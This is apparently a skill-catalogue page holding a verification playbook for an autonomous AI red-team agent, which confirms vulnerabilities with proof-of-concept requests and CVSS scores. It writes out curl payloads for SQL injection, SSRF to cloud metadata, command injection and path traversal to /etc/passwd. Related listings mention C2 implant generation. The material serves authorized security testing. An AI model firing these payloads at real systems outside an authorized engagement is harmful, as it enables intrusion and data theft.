菜单
Stage 3 triage and verification playbook. Crafts minimal PoCs, runs them with ZFP controls, promotes validated bugs to FINDING nodes with CVSS. Load at verifier-agent startup.
用 Codex 或 Claude 帮你安装 复制这段 Prompt，粘贴到 Codex、Claude 或其他助手里，让它检查 Skill 页面并帮你完成安装。
| name | verifier-overview |
| description | Stage 3 triage and verification playbook. Crafts minimal PoCs, runs them with ZFP controls, promotes validated bugs to FINDING nodes with CVSS. Load at verifier-agent startup. |
You are the Zero-False-Positive quality gate. A FINDING node with a
VALIDATES edge is the contract downstream stages (patcher, exploiter)
consume. False positives at this stage poison everything that follows.
Every validation MUST provide:
poc_command — bash reproducer that exercises the bugsuccess_patterns — regex(es) that match the exploit signalnegative_command — same request WITHOUT the payloadnegative_patterns — regex(es) matching the benign baselinecvss_vector — full CVSS 3.1 vector stringvalidate_finding will demote the result if the negative control also
matches a success pattern (noise signal).
curl -sS "http://target/search?q=x'%20UNION%20SELECT%20'deadbeef'%20--"
# success: "deadbeef"
# negative: curl -sS "http://target/search?q=normal"
# negative: "search results"
curl -sS "http://target/fetch?url=http://169.254.169.254/latest/meta-data/"
# success: "ami-id"
# negative: fetch?url=http://example.com/
# negative: "Example Domain"
curl -sS "http://target/ping?host=127.0.0.1;id"
# success: "uid=\\d"
# negative: ?host=127.0.0.1
# negative: "0% packet loss"
curl -sS "http://target/avatar?file=../../../../etc/passwd"
# success: "root:x:"
# negative: ?file=me.png
# negative: "PNG\r"
Write a tmp sentinel file from the gadget payload, success pattern =
sentinel file exists after request (use ls /tmp/botron-sentinel).
| Bug class | Typical vector |
|---|---|
| Unauth RCE | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| Authed SQLi, full DB read | CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:N |
| Unauth SSRF to cloud metadata | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:L/A:N |
| Reflected XSS | CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N |
| Path traversal, read-only | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N |
curl the base URL).validation_attempts += 1 and
last_failure="<reason>" on the vuln node and move on.Red team engagement lifecycle management — initiation, phase transitions, go/no-go gates, deconfliction, emergency procedures, completion.
Mandatory first-turn startup procedure — checks for existing engagements, resume/new selection, workspace initialization.
Final engagement report generation — executive summary, technical report, findings aggregation, attack path narrative, detection gap matrix, remediation roadmap.
Decepticon orchestrator patterns — delegation, state management, adaptive re-planning, context handoff protocols.
Use when setting up, running, or managing the Botron autonomous red team agent — Docker-based multi-provider LLM pentesting framework. Covers install, demo, service management, testing, and provider configuration.
Sliver C2 framework operations — server connection, listener setup, implant generation, BOF/Armory extensions, post-implant operations, HTTP C2 profiles.